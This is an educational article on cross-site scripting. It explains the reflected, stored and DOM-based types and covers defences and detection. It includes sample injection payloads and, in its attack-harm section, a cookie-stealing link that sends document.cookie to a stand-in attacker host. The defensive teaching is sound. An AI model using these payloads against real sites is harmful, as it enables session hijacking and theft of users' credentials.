Cross-Site Scripting (XSS) Attacks and Protection

Cross-Site Scripting (XSS) Attacks and Protection

I. Knowledge Point Description
XSS (Cross-Site Scripting) is a common security vulnerability where attackers inject malicious scripts into web pages. When other users browse the page, the script executes in their browsers, allowing theft of sensitive information such as user cookies and session tokens, or enabling other malicious actions. XSS is mainly divided into three categories: Reflected, Stored, and DOM-based.

II. Attack Principles Detailed

  1. Reflected XSS (Non-Persistent)

    • Attack Process: Malicious script is sent to the server as a request parameter → Server returns a page containing the script → User's browser executes the script.
    • Characteristics: Requires tricking users into clicking a specially crafted link. Common in scenarios with immediate responses, like search boxes and error message pages.
    • Example: http://example.com/search?q=\u003cscript\u003ealert('XSS')\u003c/script\u003e

  2. Stored XSS (Persistent)

    • Attack Process: Malicious script is submitted to and stored on the server (e.g., in a database) → Automatically loaded and executed when other users visit normal pages.
    • Characteristics: Wide impact. Common in UGC (User-Generated Content) areas like forum comments and user messages.
    • Example: Inserting \u003cimg src=x onerror=stealCookie()\u003e in a blog comment section.

  3. DOM-based XSS

    • Attack Process: Malicious script performs the attack by manipulating the DOM tree, without involving server processing.
    • Characteristics: Occurs entirely on the client side. Common in URL fragments (the part after #).
    • Example: http://example.com#\u003cscript\u003edocument.write(location.hash)\u003c/script\u003e

III. Attack Harm Demonstration
Full attack chain example for stealing Cookies:

  1. Attacker crafts a malicious link: http://victim-site.com/search?q=\u003cscript\u003efetch('http://attacker.com/steal?cookie='+document.cookie)\u003c/script\u003e
  2. After the user clicks the link, the script automatically sends the current site's cookies to the attacker's server.
  3. The attacker uses the stolen cookies for session hijacking.

IV. Protection Solutions Detailed

  1. Input Filtering (Server-side)

    • Strictly validate user input: remove or escape special characters (e.g., \u003c \u003e \u0026 ' ").
    • Example code (PHP): 
      $input = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');

  2. Output Encoding (Based on output context)

    • HTML Body Encoding: Convert \u003c to \u0026lt;, \u003e to \u0026gt;.
    • HTML Attribute Encoding: Additionally handle quotes (" becomes \u0026quot;).
    • JavaScript Encoding: Escape using \uXXXX format.

  3. Content Security Policy (CSP)

    • Restrict script sources via HTTP headers: 
      Content-Security-Policy: default-src 'self'; script-src trusted.com
    • Prohibits inline script execution, effectively blocking most XSS attacks.

  4. HttpOnly Cookie

    • Add the HttpOnly attribute when setting cookies to prevent JavaScript access: 
      Set-Cookie: sessionId=abc123; HttpOnly

  5. Special Protection for DOM-based XSS

    • Avoid using innerHTML; prefer textContent.
    • Validate URL parameters: Process dynamic parameters with encodeURIComponent().

V. Practical Detection Methods

  1. Use automated scanning tools (e.g., OWASP ZAP, Burp Suite).
  2. Manual testing payloads:
    • Basic detection: \u003cscript\u003ealert(1)\u003c/script\u003e
    • Bypass detection: \u003cimg src=x onerror=alert(1)\u003e
  3. Check if CSP configuration is effective.

Through the above layered protections, XSS risks can be effectively minimized. In actual development, it is recommended to combine multiple protective measures to form a defense-in-depth system.